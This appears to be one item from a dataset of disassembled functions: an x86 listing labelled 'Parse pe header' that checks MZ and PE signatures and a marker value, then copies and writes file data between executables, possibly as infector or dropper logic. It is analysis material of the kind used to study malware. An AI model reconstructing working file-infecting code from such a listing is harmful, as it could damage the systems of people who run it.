Function at 0x40c200
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd00
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x300], ecx
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004044d8
xor eax, eax
push ebp
push 0x40c8af
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402694
test bl, bl
jne 0x40c2c1
lea edx, [ebp - 0x2f8]
mov eax, dword [ebp - 0x14]
call fcn.00406810
mov edx, dword [ebp - 0x2f8]
mov eax, 0x40c8c8
call fcn.004045d0
test eax, eax
jg 0x40c87c
lea edx, [ebp - 0x2fc]
mov eax, dword [ebp - 0x14]
call fcn.00406810
mov edx, dword [ebp - 0x2fc]
mov eax, 0x40c8d8
call fcn.004045d0
test eax, eax
jg 0x40c87c
lea edx, [ebp - 0x300]
mov eax, dword [ebp - 0x14]
call fcn.00406810
mov edx, dword [ebp - 0x300]
mov eax, 0x40c8ec
call fcn.004045d0
test eax, eax
jg 0x40c87c
xor eax, eax
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x168]
call fcn.00402bc8
mov edx, 1
lea eax, [ebp - 0x168]
call fcn.00402fe8
call fcn.0040270c
test eax, eax
jne 0x40c879
xor eax, eax
push ebp
push 0x40c86f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x168]
call fcn.00402dfc
call fcn.00402658
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x40
jbe 0x40c865
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
mov eax, dword [0x40f8a4]
cdq
cmp edx, dword [esp + 4]
jne 0x40c332
cmp eax, dword [esp]
pop edx
pop eax
je 0x40c865
xor eax, eax
push ebp
push 0x40c85e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea edx, [ebp - 0x2f4]
mov ecx, 0x40
lea eax, [ebp - 0x168]
call fcn.00402d2c
call fcn.00402658
cmp word [ebp - 0x2f4], 0x5a4d
jne 0x40c850
cmp word [ebp - 0x2ec], 4
jb 0x40c850
cmp word [ebp - 0x2dc], 0x40
jb 0x40c850
cmp word [ebp - 0x2b8], 0x40
jb 0x40c850
movzx eax, word [ebp - 0x2b8]
add eax, 2
cmp eax, dword [ebp - 8]
ja 0x40c850
movzx edx, word [ebp - 0x2b8]
lea eax, [ebp - 0x168]
call fcn.00403010
call fcn.00402658
push 0
lea edx, [ebp - 0x2f4]
mov ecx, 2
lea eax, [ebp - 0x168]
call fcn.00402d2c
call fcn.00402658
mov edx, dword [ebp - 8]
sub edx, 2
lea eax, [ebp - 0x168]
call fcn.00403010
call fcn.00402658
push 0
lea edx, [ebp - 0x2f2]
mov ecx, 2
lea eax, [ebp - 0x168]
call fcn.00402d2c
call fcn.00402658
mov edx, 0x26
lea eax, [ebp - 0x168]
call fcn.00403010
call fcn.00402658
push 0
mov edx, 0x40f8a4
mov ecx, 4
lea eax, [ebp - 0x168]
call fcn.00402d2c
call fcn.00402658
cmp word [ebp - 0x2f4], 0x4550
jne 0x40c849
cmp word [ebp - 0x2f2], 0x1010
je 0x40c849
cmp dword [0x40f8a4], 0
jne 0x40c849
xor eax, eax
call fcn.00406da0
push edx
push eax
mov eax, dword [0x40f8a4]
cdq
push edx
push eax
mov eax, dword [ebp - 8]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
cmp edx, dword [esp + 4]
jne 0x40c4a7
cmp eax, dword [esp]
pop edx
pop eax
ja 0x40c849
jmp 0x40c4af
pop edx
pop eax
jg 0x40c849
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, 0x40c8fc
call fcn.0040433c
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x2b4]
call fcn.00402bc8
mov edx, 1
lea eax, [ebp - 0x2b4]
call fcn.00403004
call fcn.00402658
mov eax, dword [ebp - 4]
call fcn.00406a08
mov dword [ebp - 0x1c], eax
mov eax, dword [0x40f8a0]
mov dword [0x40f8a4], eax
push 0
mov edx, dword [0x40f89c]
mov ecx, dword [0x40f8a4]
lea eax, [ebp - 0x2b4]
call fcn.00402d4c
call fcn.00402658
lea eax, [ebp - 0x2b4]
call fcn.00402d6c
call fcn.00402658
mov eax, dword [ebp - 0x10]
call fcn.004044e8
push eax
mov eax, dword [ebp - 4]
call fcn.004044e8
xor ecx, ecx
pop edx
call fcn.0040aff8
push 0xc8
call sub.kernel32.dll_Sleep
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x2b4]
call fcn.00402bc8
mov edx, 1
lea eax, [ebp - 0x2b4]
call fcn.00402fe8
call fcn.00402658
lea eax, [ebp - 0x2b4]
call fcn.00402dfc
call fcn.00402658
mov dword [0x40f8a4], eax
xor eax, eax
push ebp
push 0x40c634
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x40f8a4]
call fcn.00402564
mov dword [0x40f898], eax
lea eax, [ebp - 8]
push eax
mov edx, dword [0x40f898]
mov ecx, dword [0x40f8a4]
lea eax, [ebp - 0x2b4]
call fcn.00402d2c
call fcn.00402658
mov eax, dword [ebp - 8]
mov dword [0x40f8a4], eax
lea eax, [ebp - 0x2b4]
call fcn.00402d6c
call fcn.00402658
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x2b4]
call fcn.00402bc8
mov edx, 1
lea eax, [ebp - 0x2b4]
call fcn.00403004
call fcn.00402658
push 0
mov edx, dword [0x40f898]
mov ecx, dword [0x40f8a4]
lea eax, [ebp - 0x2b4]
call fcn.00402d4c
call fcn.00402658
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c63b
mov edx, dword [0x40f8a4]
mov eax, dword [0x40f898]
call fcn.00402584
ret
mov dword [ebp - 0x18], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c865
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c879
mov esi, dword [ebp - 0x18]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c8b6
lea eax, [ebp - 0x300]
mov edx, 3
call fcn.004040a4
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004040a4
lea eax, [ebp - 4]
call fcn.00404080
ret